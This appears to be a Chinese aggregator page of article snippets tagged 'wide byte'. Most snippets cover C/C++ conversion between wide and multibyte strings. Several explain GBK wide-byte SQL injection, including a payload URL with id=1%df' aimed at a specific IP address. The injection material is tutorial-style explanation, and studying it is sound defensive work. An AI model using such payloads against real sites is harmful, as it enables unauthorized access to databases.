    字节字符集(MBCS,Multi-ByteChactacterSet):指用多个字节来表示一个字符的字符编码集合。一般英文字母用1Byte,汉语等用2Byte来表示。兼容ASCII127。 在最初的时候,Internet上只有一种字符集——ANSI的...
  • 宽字节注入入门详解

    千次阅读 2019-05-11 13:14:54
    PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。 大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等), 单引号被加上反斜杠\,变成了 %...
  • 宽字节注入实例

    千次阅读 2018-08-09 18:06:55
    所以是宽字节注入   所以我们要用%df来代替一个字节 http://103.238.227.13:10083/?id=1%df   页面正确 加个单引号页面报错 http://103.238.227.13:10083/?id=1%df’ 页面报错 存在注入  ...
  • 多字节与宽字节字符串的相互转换

    万次阅读 2012-09-06 17:12:51
    读取UNICODE文件 保存在宽字节字符串中, 而DLL中的参数为char* , 所以必须进行宽字节到多字节的转换   CFile nFile_Read; //读取数据 if(!nFile_Read.Open(L"e:\\1.xml",CFile::modeRead|CFile::typeBinary)...
  • SQL注入教程——(四)宽字节注入

    千次阅读 2017-07-27 15:27:47
    前言在mysql中,用于转义(即在字符串中的符号前加上”\”)的函数有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性。...
  • 宽字节注入原理与防御

    千次阅读 2018-11-06 22:35:07
    两个字节以上叫宽字节 设置“set character_set_client=gbk”(gbk编码设置),通常导致编码转换的注入问题,尤其是使用php连接mysql数据库的时候 一个gbk汉字占两个字节,取值范围是(编码位数):第一个字节是...
  • C语言中宽字符和多字节字符

    千次阅读 2014-05-09 16:34:46
    从此开始,8 位的byte(字节)变成最常见的字符编码单位,但是国际化软件必须能够表示不同的字符,而这些字符数量庞大,无法使用一个字节编码,于是世界上使用各式 各样多字节的字符编码集合已经有数十年了,比如...
  • 详细代码及说明已更新至C++多字节与宽字节间的转换(wchar_t与char转换)
  • 宽字节 多字节 单字节 的问题

    千次阅读 2014-03-20 17:37:23
    感觉比较混乱,学习了一通,做个记录。 宽字符串与单字节字符串之间的转换。   C++标准里面已经提供了: 宽字节转单字节:size_t...单字节转宽字节:size_t mbstowcs( wchar_t *wcstr, const char *mbstr, si
  • sizeof strlen wcslen tcslen 比较

    万次阅读 2011-12-04 01:46:45
    sizeof strlen wcslen tcslen 都是取得字符串长度。...wcslen:取得宽字节字符串中字符长度,不包含 '/0'。 tcslen:取得宽字节/多字节字符串中字符长度,不包含 '/0'。   例如:  WCHAR wcsStr[] = L
  • wchar_t wstr[100]=L"wstr";...//字符转多字节 mbstowcs(wstr,str,100);//多字节字符   也可以使用:MultiByteToWideChar和WideCharToMultiByte 参考: http://blog.csdn.net/iam
  • 宽字节注入

    千次阅读 2018-09-16 13:37:50
    GBK注射 ... character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入% DF%27,即可把(%5C)吃掉,举个例子。 ** ...
  • c++11 宽字节与窄字节的相互转换

    千次阅读 2015-10-20 21:17:25
    //wstring 转 string  typedef std::wstring_convert> CONVER;  std::wstring str = L"中国人";  std::wstring_convert> converter(new std::codecvt("CHS")); ... std::string narrowStr = converte
  • C++ 多字节字符串的相互转换

    万次阅读 2019-11-12 20:39:21
    代码编译运行环境:VC++2012+Debug+Win321.问题描述char字符与wchar_t字符由于编码不同,所以在char*和wchar_t*之间使用强制类型转换达不到正确转换字符串的目的。考察如下程序。#include &...
  • VC在建一个新的项目时,都是...字符集不仅涉及编码,还涉及字符字节的物理存储方式,常常成为字符unicode字符集和窄字符(gb2312)多字节字符集   UTF-8: 1~3字节可变 UNICODE: 2字节一个字符 单个字符宽度固定
  • 现在想在Linux下显示中文  代码如下  #include #include void optionVersion() { wchar_t wstr[] = L"简体中文版 by 大师♂罗莊"; ...报错converting to execution character set:无效
1 2 3 4 5 ... 20
收藏数 82,150
精华内容 32,860
关键字:

宽字节